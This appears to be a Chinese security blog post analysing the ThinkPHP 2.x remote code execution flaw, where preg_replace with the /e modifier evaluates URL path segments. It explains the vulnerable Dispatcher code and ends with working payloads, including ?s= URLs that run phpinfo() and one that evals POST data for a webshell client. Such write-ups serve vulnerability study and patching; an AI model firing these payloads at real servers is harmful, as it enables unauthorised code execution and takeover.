thinkphp2

Thinkphp2

参考链接: jammny 漏斗社区

漏洞详情:

ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths)); 导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

影响范围:

ThinkPHP 2.x
ThinkPHP 3.0版本因为Lite模式下没有修复,也存在该漏洞。

漏洞分析:

主要是因为这段代码:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
使用了preg_replace的/e模式匹配路由

先说preg_replace()函数:

preg_replace('正则规则','替换字符','目标字符')

//匹配规则是:('正则规则','替换字符','目标字符')也就是说如果传入的目标字符,符合正则规则的字符的话就替换这个字符。

关于/e:

e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;  
/e 可执行模式,此为PHP专有参数,例如preg_replace函数。
如果说在正则规则用的是/e而不是e,那么当传入的目标字符,符合正则规则的的话,就就会执行‘替换字符’的内容

比如:

image-20220427204357855

主要的问题代码在/ThinkPHP/Lib/Think/Util/Dispatcher.class.php

image-20220427205615539

        self::getPathInfo();

        if(!self::routerCheck()){   // 检测路由规则 如果没有则按默认规则调度URL
            $paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
            $var  =  array();
            if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
                $var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
                if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
                    // 禁止直接访问分组
                    exit;
                }
            }
            if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
                $var[C('VAR_MODULE')]  =   array_shift($paths);
            }
            $var[C('VAR_ACTION')]  =   array_shift($paths);
            // 解析剩余的URL参数
            $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
            $_GET   =  array_merge($var,$_GET);
        }
前面的self::getPathInfo(); 表示没有路由规则,因此会按默认规则调度URL。也就会执行这段有问题的代码:$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode(php$depr,$paths));

'$var[\'\\1\']="\\2";'是对数组键值进行添加操作。
之前$var  =  array();表示创建了一个空数组。
(\w+)\/([^/]+),这个正则的意思是每次取路径的2个参数,依次排序。

举个例子:

<?php
$var = array();
preg_replace("/(\w+)\/([^\/\/])/e",'$var[\'\\1\']="\\2";',"a/b/c/d/e/f");
print_r ($var);

image-20220427205929998

每次取出2个参数,第一个参数作为数组的键,第二个参数作为数组的值。因此如果'a/b/c/d/e/f'的参数是可控的,那么我们就能进行代码执行。

$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));表示当前路径。
implode($depr,$paths)作用就是把路径当作参数放进了数组$var里面。

由于:

if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
 
                $var[C('VAR_MODULE')]  =   array_shift($paths);
 
            }
 
            $var[C('VAR_ACTION')]  =   array_shift($paths);

因此路径前2个值是要作为模块和动作的,如果模块和动作还没有定义就删除它。

构造payload:

?s=a/b/c/${phpinfo()}
?s=a/b/c/${phpinfo()}/c/d/e/f
?s=a/b/c/d/e/${phpinfo()}
或
?s=a/b/c/${@print(eval($_POST[1]))}        //蚁剑连接

/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]

image-20220427210716060

posted @ 2022-06-17 11:31  森sen  阅读(48)  评论(0编辑  收藏  举报